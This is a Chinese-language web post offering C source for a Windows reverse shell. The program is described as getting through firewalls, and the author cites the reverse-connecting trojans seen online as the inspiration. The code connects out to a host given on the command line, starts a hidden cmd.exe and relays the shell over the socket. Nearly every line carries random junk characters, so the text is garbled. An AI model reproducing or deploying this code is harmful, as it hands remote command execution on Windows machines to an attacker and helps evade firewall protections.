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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 `^hA&/1  
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/* ============================== { >izfG,\  
Rebound port in Windows NT \i//Aq  
By wind,2006/7 y'odn ;  
===============================*/ mhhc}dS(H  
#include N~ CQh=<  
#include |^UQVNJ  
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#pragma comment(lib,"wsock32.lib") )z@ +|A  
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void OutputShell(); #I0FWZ>W  
SOCKET sClient; 6wwbH}*=?  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; NcF>}f,}\  
\EoE/2"<  
void main(int argc,char **argv) V'W*'wo   
{ E=,5%>C0#%  
WSADATA stWsaData; .`+~mQ Wn  
int nRet; 6:B,ir _  
SOCKADDR_IN stSaiClient,stSaiServer; gAsmPI.K  
zx=eqN@!@  
if(argc != 3) F)Q[ cai  
{ [|eIax xR,  
printf("Useage:\n\rRebound DestIP DestPort\n"); 1 Vt,5o5  
return; >h#juO"  
} 3I( n];  
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WSAStartup(MAKEWORD(2,2),&stWsaData); pqpsa'  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =UK:83R(  
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stSaiClient.sin_family = AF_INET; '*rS, y  
stSaiClient.sin_port = htons(0); &R4?]I  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); (n?f016*%d  
_zM?"16I}  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) db_?da;!`  
{ HP[B%  
printf("Bind Socket Failed!\n"); {-me;ayk  
return; O4oN)  
} y|MhV/P04  
r^C(|Vx  
stSaiServer.sin_family = AF_INET; y< dBF[  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); x  zF  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); tg#jjXV\0p  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 6*S/frE  
{ NR_3nt^h  
printf("Connect Error!"); 2D"my]FnF  
return; qtZzJ>Y  
} M$ieM[_T  
OutputShell(); KP0(w(q  
} 5p!{#r6m  
NwYQ6VEA  
void OutputShell() DeF`#a0E  
{ I F!xZ6X8  
char szBuff[1024]; L,#YP#O,j  
SECURITY_ATTRIBUTES stSecurityAttributes; rqN+0CT  
OSVERSIONINFO stOsversionInfo; c)^A|{,G  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; vW*Mf}=  
STARTUPINFO stStartupInfo; G5t7KI  
char *szShell; %_Lz0L64k  
PROCESS_INFORMATION stProcessInformation; dS 4/spNq  
unsigned long lBytesRead; FN!?o:|(  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); .@nfqv7{  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); PZV>A!7C8n  
stSecurityAttributes.lpSecurityDescriptor = 0; <HRPloVKo  
stSecurityAttributes.bInheritHandle = TRUE; [Ca''JqrA  
I$+=Fb'N0  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); DU"Gz!X]Jd  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); k&t.(r\  
p2b~k[  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <#M1I!R  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y&=DjKoVh  
stStartupInfo.wShowWindow = SW_HIDE; e#mf{1&  
stStartupInfo.hStdInput = hReadPipe; &4WA/'>R  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $X)|`$#pL#  
?OnL,y|  
GetVersionEx(&stOsversionInfo); jsgDJ}  
~s'}_5;VY  
switch(stOsversionInfo.dwPlatformId) aDX&j2/  
{ cyWb*Wv  
case 1: GR*sk#{  
szShell = "command.com"; Hc\@{17   
break; =2GKv7q$x,  
default: [Fag\/Y+  
szShell = "cmd.exe"; cOpe6H6,bz  
break; tk'&-v'h  
} Wkk(6gS,  
3)=ix. wW  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); |-/@3gPO  
R-ek O7z  
send(sClient,szMsg,77,0); )^qXjF  
while(1) P6>C+T1  
{ qlPIxd  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); cL4Go,)w  
if(lBytesRead) $RI$VyAjD  
{ _ti^i\8~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); X}3?k<m  
send(sClient,szBuff,lBytesRead,0); Kzq^f=p  
} ynMYf  
else OMjPC_  
{ Zi}h\R a  
lBytesRead=recv(sClient,szBuff,1024,0); AtHkz|sl  
if(lBytesRead<=0) break; R|qNyNXo[  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); TeZu*c  
} h2mHbe43  
} 4j'rbbs/  
AdDR<IW  
return; 5 8;OTDR!  
}
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